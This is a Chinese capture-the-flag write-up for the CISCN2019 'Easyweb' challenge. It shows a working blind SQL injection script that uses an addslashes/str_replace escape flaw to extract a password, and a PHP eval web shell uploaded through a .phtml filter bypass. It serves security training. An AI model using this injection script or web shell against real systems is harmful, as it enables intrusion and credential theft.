[CISCN2019 总决赛 Day2 Web1]Easyweb 1
0x00 前言
就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来。
0x01 备份文件下载
首先我们的打开环境
让我们进行登录
一开始我以为是弱密码爆破 直接使用bp,爆出来个寂寞
之后查看源码,抓包查看无果后
尝试进行目录扫描,发现网站中存在 robots.txt
查看robots.txt ,发现该网站中存在含有备份文件
下载备份文件
<?php
include "config.php";
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";
$id=addslashes($id);
$path=addslashes($path);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);
$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
在这里有两个重点:
- 存在addslashes()函数 会在预定义字符之前添加反斜杠字符串
预定义定义字符:单引号 双引号 反斜杠 NULL - str_replace 将
"\\0","%00","\\'","'"
替换成空(前面第一个 \ 是用来转义的) - .sql查询语句 "select * from images where id=‘{$ id}’ or path='{$ path}
我们可以巧妙的利用 str_replace 构造出paylooad
select * from images where id='\0' or path='{$path}'
分析
我们的目标就是sql传参 就是要将 id处的单引号包裹给打破,
一般我们路是在传参的时候使用的单引号进行包裹,
由于addslashes() 我们没有办法使用单引号(addslashes会将我们输入的引号进行转义)
这时候我们想到了str_replace函数
我们如果传入的参数是\0
,那么首先他会经过addslashes(),然后就变成了\\0
,这个时候再由str_replace进行替换,id参数就成为了\
,也就是达到了我们的目的。
在本关是sql盲注 这里我们使用脚本
import requests
url = "http://2359e596-ee34-46b7-958b-db7ddd36aace.node4.buuoj.cn/image.php?id=\\0&path="
payload = " or ascii(substr((select password from users),{},1))>{}%23"
result = ''
for i in range(1,100):
high = 127
low = 32
mid = (low+high) // 2
# print(mid)
while(high>low):
r = requests.get(url + payload.format(i,mid))
# print(url + payload.format(i,mid))
if 'JFIF' in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
result += chr(mid)
print(result)
扫出密码 3cb77e000570e34ce889
登录
发现存在文件上传漏洞
直接上传 php文件 发现上传失败 但可以上传 phtml文件
同时文件中不允许存在 php 所以我们使用段标签绕过
<?= @eval($_POST['hack']); ?>
同时发现文件上传路径为:
logs/upload.b86611bd961024f1a49d7571a9f3467b.log.php
蚁剑连接,失败(不知道为什么 蚁剑连接不上phtml)
最后 查了大佬博客 使用用文件名写马 进行连接
读取flag